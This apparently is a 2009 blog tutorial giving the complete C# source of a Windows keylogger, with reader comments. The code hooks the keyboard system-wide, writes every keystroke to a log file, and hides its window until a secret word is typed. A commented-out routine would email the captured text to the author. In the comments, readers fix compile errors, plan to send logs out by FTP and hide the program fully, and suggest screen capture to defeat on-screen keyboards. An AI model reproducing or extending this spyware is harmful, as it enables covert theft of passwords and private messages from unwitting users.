Axino.net

Finished keylogger in C#

by Arxleol on Sunday 01.11.2009, under C#, hack, tutorial, windows

OK we have finally reached till the end of road on how to write keylogger in c#. Here are all classes you require and all previous tutorials merged together. Some things were not explained because I think that it is common knowledge or will be explained in some future tutorials.Hook for hooking to keyboard and listening for keys. Hook.cs

using System;
using System.Diagnostics;
//using System.Windows.Forms;
using System.Runtime.InteropServices;
 
namespace TestKeybdHook
{
    public static class Hook
    {
        //This class is based lightly off of the class found at the following website
 
        //http://blogs.msdn.com/toub/archive/2006/05/03/589423.aspx
 
        private static class API
        {
            [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
            public static extern IntPtr SetWindowsHookEx(
                int idHook,
                HookDel lpfn,
                IntPtr hMod,
                uint dwThreadId);
 
            [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
            [return: MarshalAs(UnmanagedType.Bool)]
            public static extern bool UnhookWindowsHookEx(
                IntPtr hhk);
 
            [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
            public static extern IntPtr CallNextHookEx(
                IntPtr hhk,
                int nCode,
                IntPtr
                wParam,
                IntPtr lParam);
 
            [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
            public static extern IntPtr GetModuleHandle(
                string lpModuleName);
 
        }
 
        public enum VK
        {
            //Keycodes recieved from this website:
 
            //http://delphi.about.com/od/objectpascalide/l/blvkc.htm
 
            //I've commented out the keys that I've never heard of--feel free to uncomment them if you wish
 
            VK_LBUTTON = 0X01, //Left mouse
            VK_RBUTTON = 0X02, //Right mouse
            //VK_CANCEL       = 0X03,
            VK_MBUTTON = 0X04,
            VK_BACK = 0X08, //Backspace
            VK_TAB = 0X09,
            //VK_CLEAR        = 0X0C,
            VK_RETURN = 0X0D, //Enter
            VK_SHIFT = 0X10,
            VK_CONTROL = 0X11, //CTRL
            //VK_MENU         = 0X12,
            VK_PAUSE = 0X13,
            VK_CAPITAL = 0X14, //Caps-Lock
            VK_ESCAPE = 0X1B,
            VK_SPACE = 0X20,
            VK_PRIOR = 0X21, //Page-Up
            VK_NEXT = 0X22, //Page-Down
            VK_END = 0X23,
            VK_HOME = 0X24,
            VK_LEFT = 0X25,
            VK_UP = 0X26,
            VK_RIGHT = 0X27,
            VK_DOWN = 0X28,
            //VK_SELECT       = 0X29,
            //VK_PRINT        = 0X2A,
            //VK_EXECUTE      = 0X2B,
            VK_SNAPSHOT = 0X2C, //Print Screen
            VK_INSERT = 0X2D,
            VK_DELETE = 0X2E,
            //VK_HELP         = 0X2F,
 
            VK_0 = 0X30,
            VK_1 = 0X31,
            VK_2 = 0X32,
            VK_3 = 0X33,
            VK_4 = 0X34,
            VK_5 = 0X35,
            VK_6 = 0X36,
            VK_7 = 0X37,
            VK_8 = 0X38,
            VK_9 = 0X39,
 
            VK_A = 0X41,
            VK_B = 0X42,
            VK_C = 0X43,
            VK_D = 0X44,
            VK_E = 0X45,
            VK_F = 0X46,
            VK_G = 0X47,
            VK_H = 0X48,
            VK_I = 0X49,
            VK_J = 0X4A,
            VK_K = 0X4B,
            VK_L = 0X4C,
            VK_M = 0X4D,
            VK_N = 0X4E,
            VK_O = 0X4F,
            VK_P = 0X50,
            VK_Q = 0X51,
            VK_R = 0X52,
            VK_S = 0X53,
            VK_T = 0X54,
            VK_U = 0X55,
            VK_V = 0X56,
            VK_W = 0X57,
            VK_X = 0X58,
            VK_Y = 0X59,
            VK_Z = 0X5A,
 
            VK_NUMPAD0 = 0X60,
            VK_NUMPAD1 = 0X61,
            VK_NUMPAD2 = 0X62,
            VK_NUMPAD3 = 0X63,
            VK_NUMPAD4 = 0X64,
            VK_NUMPAD5 = 0X65,
            VK_NUMPAD6 = 0X66,
            VK_NUMPAD7 = 0X67,
            VK_NUMPAD8 = 0X68,
            VK_NUMPAD9 = 0X69,
 
            VK_SEPERATOR = 0X6C, // | (shift + backslash)
            VK_SUBTRACT = 0X6D, // -
            VK_DECIMAL = 0X6E, // .
            VK_DIVIDE = 0X6F, // /
 
            VK_F1 = 0X70,
            VK_F2 = 0X71,
            VK_F3 = 0X72,
            VK_F4 = 0X73,
            VK_F5 = 0X74,
            VK_F6 = 0X75,
            VK_F7 = 0X76,
            VK_F8 = 0X77,
            VK_F9 = 0X78,
            VK_F10 = 0X79,
            VK_F11 = 0X7A,
            VK_F12 = 0X7B, //I only went up to F12, because honestly, who the hell has 24 F buttons?
            //and for the 8 people in the world who do, I think they can live without using them
 
            VK_NUMLOCK = 0X90,
            VK_SCROLL = 0X91, //Scroll-Lock
            VK_LSHIFT = 0XA0,
            VK_RSHIFT = 0XA1,
            VK_LCONTROL = 0XA2,
            VK_RCONTROL = 0XA3,
            //VK_LMENU        = 0XA4,
            //VK_RMENU        = 0XA5,
            //VK_PLAY         = 0XFA,
            //VK_ZOOM         = 0XFB
        } //keycodes
 
        public delegate IntPtr HookDel(
            int nCode,
            IntPtr wParam,
            IntPtr lParam);
 
        public delegate void KeyHandler(
            IntPtr wParam,
            IntPtr lParam);
 
        private static IntPtr hhk = IntPtr.Zero;
        private static HookDel hd;
        private static KeyHandler kh;
 
        public static void CreateHook(KeyHandler _kh)
        {
            Process _this = Process.GetCurrentProcess();
            ProcessModule mod = _this.MainModule;
            hd = HookFunc;
            kh = _kh;
 
            hhk = API.SetWindowsHookEx(13, hd, API.GetModuleHandle(mod.ModuleName), 0);
            //13 is the parameter specifying that we're gonna do a low-level keyboard hook
 
            //MessageBox.Show(Marshal.GetLastWin32Error().ToString()); //for debugging
            //Note that this could be a Console.WriteLine(), as well. I just happened
            //to be debugging this in a Windows Application
            //to get the errors, in VS 2005+ (possibly before) do Tools -> Error Lookup
        }
 
        public static bool DestroyHook()
        {
            //to be called when we're done with the hook
 
            return API.UnhookWindowsHookEx(hhk);
        }
 
        private static IntPtr HookFunc(
            int nCode,
            IntPtr wParam,
            IntPtr lParam)
        {
            int iwParam = wParam.ToInt32();
            if (nCode >= 0 &&
                (iwParam == 0x100 ||
                iwParam == 0x104)) //0x100 = WM_KEYDOWN, 0x104 = WM_SYSKEYDOWN
                kh(wParam, lParam);
 
            return API.CallNextHookEx(hhk, nCode, wParam, lParam);
        }
    }
}

Next file is designer for form I used for keylogger. Form1.Designer.cs

namespace KeyHookSucks
{
    partial class Form1
    {
        /// 
        /// Required designer variable.
        /// 
        private System.ComponentModel.IContainer components = null;
 
        /// 
        /// Clean up any resources being used.
        /// 
        ///
true if managed resources should be disposed; otherwise, false.
        protected override void Dispose(bool disposing)
        {
            if (disposing && (components != null))
            {
                components.Dispose();
            }
            base.Dispose(disposing);
        }
 
        #region Windows Form Designer generated code
 
        /// 
        /// Required method for Designer support - do not modify
        /// the contents of this method with the code editor.
        /// 
        private void InitializeComponent()
        {
            this.button1 = new System.Windows.Forms.Button();
            this.button2 = new System.Windows.Forms.Button();
            this.button3 = new System.Windows.Forms.Button();
            this.textBox1 = new System.Windows.Forms.TextBox();
            this.label1 = new System.Windows.Forms.Label();
            this.button4 = new System.Windows.Forms.Button();
            this.label2 = new System.Windows.Forms.Label();
            this.textBox2 = new System.Windows.Forms.TextBox();
            this.button5 = new System.Windows.Forms.Button();
            this.textBox3 = new System.Windows.Forms.TextBox();
            this.button6 = new System.Windows.Forms.Button();
            this.SuspendLayout();
            //
            // button1
            //
            this.button1.Location = new System.Drawing.Point(12, 12);
            this.button1.Name = "button1";
            this.button1.Size = new System.Drawing.Size(75, 23);
            this.button1.TabIndex = 0;
            this.button1.Text = "Start";
            this.button1.UseVisualStyleBackColor = true;
            this.button1.Click += new System.EventHandler(this.button1_Click);
            //
            // button2
            //
            this.button2.Enabled = false;
            this.button2.Location = new System.Drawing.Point(12, 41);
            this.button2.Name = "button2";
            this.button2.Size = new System.Drawing.Size(75, 23);
            this.button2.TabIndex = 1;
            this.button2.Text = "Stop";
            this.button2.UseVisualStyleBackColor = true;
            this.button2.Click += new System.EventHandler(this.button2_Click);
            //
            // button3
            //
            this.button3.Enabled = false;
            this.button3.Location = new System.Drawing.Point(218, 12);
            this.button3.Name = "button3";
            this.button3.Size = new System.Drawing.Size(75, 23);
            this.button3.TabIndex = 2;
            this.button3.Text = "writeToFile";
            this.button3.UseVisualStyleBackColor = true;
            this.button3.Click += new System.EventHandler(this.button3_Click);
            //
            // textBox1
            //
            this.textBox1.Location = new System.Drawing.Point(12, 98);
            this.textBox1.Name = "textBox1";
            this.textBox1.Size = new System.Drawing.Size(100, 20);
            this.textBox1.TabIndex = 3;
            //
            // label1
            //
            this.label1.AutoSize = true;
            this.label1.Location = new System.Drawing.Point(12, 82);
            this.label1.Name = "label1";
            this.label1.Size = new System.Drawing.Size(64, 13);
            this.label1.TabIndex = 4;
            this.label1.Text = "Unhide text:";
            //
            // button4
            //
            this.button4.Location = new System.Drawing.Point(218, 41);
            this.button4.Name = "button4";
            this.button4.Size = new System.Drawing.Size(75, 23);
            this.button4.TabIndex = 5;
            this.button4.Text = "Show";
            this.button4.UseVisualStyleBackColor = true;
            this.button4.Click += new System.EventHandler(this.button4_Click);
            //
            // label2
            //
            this.label2.AutoSize = true;
            this.label2.Location = new System.Drawing.Point(12, 165);
            this.label2.Name = "label2";
            this.label2.Size = new System.Drawing.Size(64, 13);
            this.label2.TabIndex = 6;
            this.label2.Text = "Catch word:";
            //
            // textBox2
            //
            this.textBox2.Location = new System.Drawing.Point(15, 181);
            this.textBox2.Name = "textBox2";
            this.textBox2.Size = new System.Drawing.Size(97, 20);
            this.textBox2.TabIndex = 7;
            //
            // button5
            //
            this.button5.Location = new System.Drawing.Point(15, 124);
            this.button5.Name = "button5";
            this.button5.Size = new System.Drawing.Size(86, 26);
            this.button5.TabIndex = 8;
            this.button5.Text = "Save";
            this.button5.UseVisualStyleBackColor = true;
            this.button5.Click += new System.EventHandler(this.button5_Click);
            //
            // textBox3
            //
            this.textBox3.Enabled = false;
            this.textBox3.Location = new System.Drawing.Point(129, 98);
            this.textBox3.Multiline = true;
            this.textBox3.Name = "textBox3";
            this.textBox3.ScrollBars = System.Windows.Forms.ScrollBars.Both;
            this.textBox3.Size = new System.Drawing.Size(164, 139);
            this.textBox3.TabIndex = 9;
            //
            // button6
            //
            this.button6.Location = new System.Drawing.Point(15, 207);
            this.button6.Name = "button6";
            this.button6.Size = new System.Drawing.Size(75, 23);
            this.button6.TabIndex = 10;
            this.button6.Text = "Add";
            this.button6.UseVisualStyleBackColor = true;
            this.button6.Click += new System.EventHandler(this.button6_Click);
            //
            // Form1
            //
            this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
            this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
            this.ClientSize = new System.Drawing.Size(316, 252);
            this.Controls.Add(this.button6);
            this.Controls.Add(this.textBox3);
            this.Controls.Add(this.button5);
            this.Controls.Add(this.textBox2);
            this.Controls.Add(this.label2);
            this.Controls.Add(this.button4);
            this.Controls.Add(this.label1);
            this.Controls.Add(this.textBox1);
            this.Controls.Add(this.button3);
            this.Controls.Add(this.button2);
            this.Controls.Add(this.button1);
            this.MaximizeBox = false;
            this.MinimizeBox = false;
            this.Name = "Form1";
            this.ShowIcon = false;
            this.ShowInTaskbar = false;
            this.Text = "Key Logger";
            this.WindowState = System.Windows.Forms.FormWindowState.Minimized;
            this.Load += new System.EventHandler(this.Form1_Load);
            this.ResumeLayout(false);
            this.PerformLayout();
 
        }
 
        #endregion
 
        private System.Windows.Forms.Button button1;
        private System.Windows.Forms.Button button2;
        private System.Windows.Forms.Button button3;
        private System.Windows.Forms.TextBox textBox1;
        private System.Windows.Forms.Label label1;
        private System.Windows.Forms.Button button4;
        private System.Windows.Forms.Label label2;
        private System.Windows.Forms.TextBox textBox2;
        private System.Windows.Forms.Button button5;
        private System.Windows.Forms.TextBox textBox3;
        private System.Windows.Forms.Button button6;
    }
}

The actual code running with form. Form1.cs

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using TestKeybdHook;
using System.Runtime.InteropServices;
using System.IO;
using System.Collections;
 
namespace KeyHookSucks
{
    public partial class Form1 : Form
    {
 
        String writeUp;
        String secretWord;
        ArrayList keyWords;
 
        public Form1()
        {
            InitializeComponent();
            ReadSecretWord();
 
            if (secretWord.CompareTo("") == 0)
            {
 
                this.ShowInTaskbar = true;
 
            }
            else
            {
 
                this.ShowInTaskbar = false;
                this.Refresh();
                Hook.CreateHook(KeyReaderr);
 
                this.button1.Enabled = false;
                this.button2.Enabled = true;
 
            }
 
            writeUp = "";
 
            initKeyWords();
 
        }
 
        private void initKeyWords() {
 
            TextReader tr = new StreamReader("keywords.krs");
 
            String temp;
 
            keyWords = new ArrayList();
 
            do
            {
 
                // read a line of text
                temp = tr.ReadLine();
                if (temp != null) keyWords.Add(temp);
 
            } while (temp != null);
 
            // close the stream
            tr.Close();
 
        }
 
        private void ReadSecretWord()
        {
 
            if (File.Exists("secret.krs"))
            {
 
                TextReader tr = new StreamReader("secret.krs");
 
                // read a line of text
                secretWord = tr.ReadLine();
 
                // close the stream
                tr.Close();
 
            }
            else
            {
 
                this.ShowInTaskbar = true;
                File.Create("secret.krs");
 
            }
 
        }
 
        private void WriteSecretWord()
        {
 
            // create a writer and open the file
            TextWriter tw = new StreamWriter("secret.krs");
 
            // write a line of text to the file
            tw.Write(textBox1.Text);
 
            // close the stream
            tw.Close();
 
        }
 
        private void button1_Click(object sender, EventArgs e)
        {
 
            Hook.CreateHook(KeyReaderr);
 
            button2.Enabled = true;
            button1.Enabled = false;
        }
 
        public void KeyReaderr(IntPtr wParam, IntPtr lParam)
        {
            int key = Marshal.ReadInt32(lParam);
 
            Hook.VK vk = (Hook.VK)key;
 
            String temp = "";
 
            switch (vk)
            {
                case Hook.VK.VK_F1: temp = "<-F1->";
                    break;
 
                case Hook.VK.VK_F2: temp = "<-F2->";
                    break;
                case Hook.VK.VK_F3: temp = "<-F3->";
                    break;
                case Hook.VK.VK_F4: temp = "<-F4->";
                    break;
                case Hook.VK.VK_F5: temp = "<-F5->";
                    break;
                case Hook.VK.VK_F6: temp = "<-F6->";
                    break;
                case Hook.VK.VK_F7: temp = "<-F7->";
                    break;
                case Hook.VK.VK_F8: temp = "<-F8->";
                    break;
                case Hook.VK.VK_F9: temp = "<-F9->";
                    break;
                case Hook.VK.VK_F10: temp = "<-F10->";
                    break;
                case Hook.VK.VK_F11: temp = "<-F11->";
                    break;
                case Hook.VK.VK_F12: temp = "<-F12->";
                    break;
                case Hook.VK.VK_NUMLOCK: temp = "<-numlock->";
                    break;
                case Hook.VK.VK_SCROLL: temp = "<-scroll>";
                    break;
                case Hook.VK.VK_LSHIFT: temp = "<-left shift->";
                    break;
                case Hook.VK.VK_RSHIFT: temp = "<-right shift->";
                    break;
                case Hook.VK.VK_LCONTROL: temp = "<-left control->";
                    break;
                case Hook.VK.VK_RCONTROL: temp = "<-right control->";
                    break;
                case Hook.VK.VK_SEPERATOR: temp = "|";
                    break;
                case Hook.VK.VK_SUBTRACT: temp = "-";
                    break;
                case Hook.VK.VK_DECIMAL: temp = ".";
                    break;
                case Hook.VK.VK_DIVIDE: temp = "/";
                    break;
                case Hook.VK.VK_NUMPAD0: temp = "0";
                    break;
                case Hook.VK.VK_NUMPAD1: temp = "1";
                    break;
                case Hook.VK.VK_NUMPAD2: temp = "2";
                    break;
                case Hook.VK.VK_NUMPAD3: temp = "3";
                    break;
                case Hook.VK.VK_NUMPAD4: temp = "4";
                    break;
                case Hook.VK.VK_NUMPAD5: temp = "5";
                    break;
                case Hook.VK.VK_NUMPAD6: temp = "6";
                    break;
                case Hook.VK.VK_NUMPAD7: temp = "7";
                    break;
                case Hook.VK.VK_NUMPAD8: temp = "8";
                    break;
                case Hook.VK.VK_NUMPAD9: temp = "9";
                    break;
                case Hook.VK.VK_Q: temp = "q";
                    break;
                case Hook.VK.VK_W: temp = "w";
                    break;
                case Hook.VK.VK_E: temp = "e";
                    break;
                case Hook.VK.VK_R: temp = "r";
                    break;
                case Hook.VK.VK_T: temp = "t";
                    break;
                case Hook.VK.VK_Y: temp = "y";
                    break;
                case Hook.VK.VK_U: temp = "u";
                    break;
                case Hook.VK.VK_I: temp = "i";
                    break;
                case Hook.VK.VK_O: temp = "o";
                    break;
                case Hook.VK.VK_P: temp = "p";
                    break;
                case Hook.VK.VK_A: temp = "a";
                    break;
                case Hook.VK.VK_S: temp = "s";
                    break;
                case Hook.VK.VK_D: temp = "d";
                    break;
                case Hook.VK.VK_F: temp = "f";
                    break;
                case Hook.VK.VK_G: temp = "g";
                    break;
                case Hook.VK.VK_H: temp = "h";
                    break;
                case Hook.VK.VK_J: temp = "j";
                    break;
                case Hook.VK.VK_K: temp = "k";
                    break;
                case Hook.VK.VK_L: temp = "l";
                    break;
                case Hook.VK.VK_Z: temp = "z";
                    break;
                case Hook.VK.VK_X: temp = "x";
                    break;
                case Hook.VK.VK_C: temp = "c";
                    break;
                case Hook.VK.VK_V: temp = "v";
                    break;
                case Hook.VK.VK_B: temp = "b";
                    break;
                case Hook.VK.VK_N: temp = "n";
                    break;
                case Hook.VK.VK_M: temp = "m";
                    break;
                case Hook.VK.VK_0: temp = "0";
                    break;
                case Hook.VK.VK_1: temp = "1";
                    break;
                case Hook.VK.VK_2: temp = "2";
                    break;
                case Hook.VK.VK_3: temp = "3";
                    break;
                case Hook.VK.VK_4: temp = "4";
                    break;
                case Hook.VK.VK_5: temp = "5";
                    break;
                case Hook.VK.VK_6: temp = "6";
                    break;
                case Hook.VK.VK_7: temp = "7";
                    break;
                case Hook.VK.VK_8: temp = "8";
                    break;
                case Hook.VK.VK_9: temp = "9";
                    break;
                case Hook.VK.VK_SNAPSHOT: temp = "<-print screen->";
                    break;
                case Hook.VK.VK_INSERT: temp = "<-insert->";
                    break;
                case Hook.VK.VK_DELETE: temp = "<-delete->";
                    break;
                case Hook.VK.VK_BACK: temp = "<-backspace->";
                    break;
                case Hook.VK.VK_TAB: temp = "<-tab->";
                    break;
                case Hook.VK.VK_RETURN: temp = "<-enter->";
                    break;
                case Hook.VK.VK_PAUSE: temp = "<-pause->";
                    break;
                case Hook.VK.VK_CAPITAL: temp = "<-caps lock->";
                    break;
                case Hook.VK.VK_ESCAPE: temp = "<-esc->";
                    break;
                case Hook.VK.VK_SPACE: temp = "<-space->";
                    break;
                case Hook.VK.VK_PRIOR: temp = "<-page up->";
                    break;
                case Hook.VK.VK_NEXT: temp = "<-page down->";
                    break;
                case Hook.VK.VK_END: temp = "<-end->";
                    break;
                case Hook.VK.VK_HOME: temp = "<-home->";
                    break;
                case Hook.VK.VK_LEFT: temp = "<-arrow left->";
                    break;
                case Hook.VK.VK_UP: temp = "<-arrow up->";
                    break;
                case Hook.VK.VK_RIGHT: temp = "<-arrow right->";
                    break;
                case Hook.VK.VK_DOWN: temp = "<-arrow down->";
                    break;
                default: break;
            }
 
            writeUp = writeUp + temp;
 
            unhide();
            checkKeys();
            writeToFile(temp);
 
        }
 
        public void checkKeys()
        {
 
            int max = keyWords.Count;
 
            for (int i = 0; i < max; i++)
            {
 
                if (writeUp.Contains((String)keyWords[i]))
                {
 
                    MessageBox.Show("KeyWord!");
                    MessageBox.Show((String)keyWords[i]);
                    //sendMailK();
                    writeUp = "";
 
                }
 
            }
 
        }
 
        /*public void sendMailK()
        {
 
            MailMessage message = new MailMessage("keylogger", "arxleol@gmail.com", "keyword fired", writeUp);
            SmtpClient emailClient = new SmtpClient("either local host or google smtp or soemthing third");
            System.Net.NetworkCredential SMTPUserInfo = new System.Net.NetworkCredential("your username", "your password");
            emailClient.UseDefaultCredentials = false;
            emailClient.Credentials = SMTPUserInfo;
            emailClient.Send(message);
 
        }*/
 
        public void unhide()
        {
 
            if (writeUp.Contains(secretWord))
            {
 
                this.ShowInTaskbar = true;
                this.TransparencyKey = Color.Yellow;
 
                this.Refresh();
 
                writeUp = "";
 
            }
 
        }
 
        public void writeToFile(String writing)
        {
 
            TextReader tr = new StreamReader("logs.krs");
 
            // read a line of text
            String secr = tr.ReadToEnd();
 
            // close the stream
            tr.Close();
 
            // create a writer and open the file
            TextWriter tw = new StreamWriter("logs.krs");
 
            // write a line of text to the file
            tw.WriteLine(secr+writing);
 
            // close the stream
            tw.Close();
 
        }
 
        public String readFromFile(String fil) {
 
            TextReader tr = new StreamReader("secret.krs");
 
            // read a line of text
            String secr = tr.ReadLine();
 
            // close the stream
            tr.Close();
 
            return secr;
 
        }
 
        private void button2_Click(object sender, EventArgs e)
        {
            Hook.DestroyHook();
            button2.Enabled = false;
            button1.Enabled = true;
        }
 
        private void button3_Click(object sender, EventArgs e)
        {
 
            writeToFile(writeUp);
 
        }
 
        private void button5_Click(object sender, EventArgs e)
        {
            WriteSecretWord();
        }
 
        private void button4_Click(object sender, EventArgs e)
        {
 
            present();
 
        }
 
        public void present()
        {
 
            TextReader tr = new StreamReader("logs.krs");
 
            // read a line of text
            String secr = tr.ReadToEnd();
 
            // close the stream
            tr.Close();
 
            textBox3.Text = secr;
 
            textBox3.Enabled = true;
 
        }
 
        private void button6_Click(object sender, EventArgs e)
        {
 
            keyWords.Add(textBox2.Text);
 
            int max = keyWords.Count;
 
            TextWriter tw = new StreamWriter("keywords.krs");
 
            for(int i = 0; i < max; i++){
 
                tw.WriteLine(keyWords[i]);
 
            }
 
            // close the stream
            tw.Close();
 
        }
 
        private void Form1_Load(object sender, EventArgs e)
        {
 
        }
 
    }
}

And for running all this you should use Program.cs

using System;
using System.Collections.Generic;
using System.Linq;
using System.Windows.Forms;
 
namespace KeyHookSucks
{
    static class Program
    {
        /// 
        /// The main entry point for the application.
        /// 
        [STAThread]
        static void Main()
        {
            Application.EnableVisualStyles();
            Application.SetCompatibleTextRenderingDefault(false);
            Application.Run(new Form1());
        }
    }
}

Similar Posts:

:, , , , , , , ,
25 comments for this entry:
  1. lars

    Hello, what is the version of the VS you using in this tutorial?

    On my have many problens of: “;” and “)” or “=”…

    Can you uplaod the project?

    thanks

  2. Arxleol

    I used VS2008, and I will update project soon. Can you please point bugs!

    Ax

  3. lars

    Here is: http://img40.imageshack.us/i/scharp.png/

    Maybe the textbox of the wordpress have some bugs.. i don´t know x)

    thanks!

  4. lars

    is only sintax errors, i tried fix it, but i am too noob =/

  5. Arxleol

    OK I will upload finished project later this week.

    Ax

  6. Arxleol

    I guess that there is something wrong because project works. So either I copied content wrongly, or you haven’t created objects correctly.

    Ax

  7. A.I

    hi
    in form1.cs give an error for:
    if (secretWord.CompareTo(“”)==0)

    this is error:
    Object reference not set to an instance of an object.

  8. Arxleol

    As I said before soon I will publish finished project.

    Ax

  9. Page

    It works perfectly. Thanks for the posts.

  10. Aladdin Alkindy

    The code is clean and almost perfect. Most of the errors are related to html entities such as “greater than” and “AND”.

    The following error
    if (secretWord.CompareTo(“”)==0)

    Is related to the file path secret.krs

    You have three options
    1) to create the files manually and asign the correct path for example (@”C:\secret.krs”)

    2) use if does not exist, create the file

    3) Use the resources and serialization meaning the files are including during the build up.

    Note you have to change the paths of all the files.

    I will customise the code so the application can send the log file via ftp and also I will get rid of the user interface and make it hidden.

    Thanks for this wonderful code. This tutorial made me understand how the keylogger work. I am advanced php web programmer in LAMP. I sometimes use C# for windows Asp.net and windows forms.

  11. Arxleol

    Thanks for the post if you intend to publish changes to the program make sure to provide backlink ;)

    Another idea I had but never had time to implement was screen capture might prove useful when people are over protective and use on screen keyboard.

  12. Remove Keylogger Software

    Key Logger Spyware is substantially more damaging than many individuals believe. It is a great way of taking identities for vicious attackers which could leave you in significant debt which could be avoided definitely with Spyware Removal Tools

  13. Son

    Errors out everytime i compile it X.x

  14. Arxleol

    Try downloading complete project.

  15. Aniruddha

    I am new to c#…I wll really appriciate if u please put some tutorial on the hooks…thanx :)

  16. Arxleol

    My knowledge is also very limited in C# and I only figured how to do this with the source provided on msdnaa blogs. Because in fact I needed it. However, learning from example is also very useful.

  17. praetorian

    I have extended the keylogger app & will post an article in the next few days.

  18. black-_-bird

    Thanks a lot man for this Code , “R.E.S.P.E.C.T” !
    it compiles perfectly , just a question , I had try to add Filestream in place of Stream
    public void writeToFile(String writing)
    {
    FileStream f = new FileStream(“logs.krs”, FileMode.Append);
    TextReader tr = new StreamReader(“logs.krs”);

    // read a line of text
    String secr = tr.ReadToEnd();

    // close the stream
    tr.Close();

    // create a writer and open the file

    StreamWriter s = new StreamWriter(f);

    // write a line of text to the file
    s.Write(secr+writing);
    s.Close();
    // close the stream
    f.Close();

    }
    my goal is to make logs.krs generation automatic ,
    When I execute the exe it generate the log and after that it BUG’s ,
    Any proposition please ??
    after that I’ll work to send the log when size == 100000
    the fonction of mailing I had done it fine , but the comparation and sender not yet
    Any way , thanks for the verrrryyy educational source

  19. weaversam8

    When will you publish the project!!!

  20. Arxleol

    Project is published and there is recent post about extended keylogger.

  21. Max

    Hey Guys!

    According to the HTML syntax some characters have to be masked. It seems to me, like this has happened here automatically. In order to refloat the project you simply to change three things:

    Search for the characters an replace them in each file. Do not copy the quotation marks!

    “>” means greater than. change each to “>”
    “<” means lower than. change each to “<"
    "&" is the "and". change each to "&"

    Make sure you have created a "Windows Application"!

    Now it'll work, have fun! ;-)

    Greetings, Max.

  22. Max

    Okay. Now it was changed automatically too.
    & gt; means greater than
    & lt; is lower than
    and & amp; means and. Please erase the space in after &.

    Read more at: http://htmlhelp.com/reference/html40/entities/special.html

    *Now* it should really work.

  23. Ahmed Sherif

    Keyloggers , Backdoors and stuff like those should only be written in C or C++ for Speed and many other reasons.
    I remember writing one in C++ which its code was about 30 lines!!
    Try To learn the best language :)

  24. Arxleol

    I agree, but writing this keylogger was part of school program.

Leave a Reply

Looking for something?

Use the form below to search the site:

Still not finding what you're looking for? Drop a comment on a post or contact us so we can take care of it!

Archives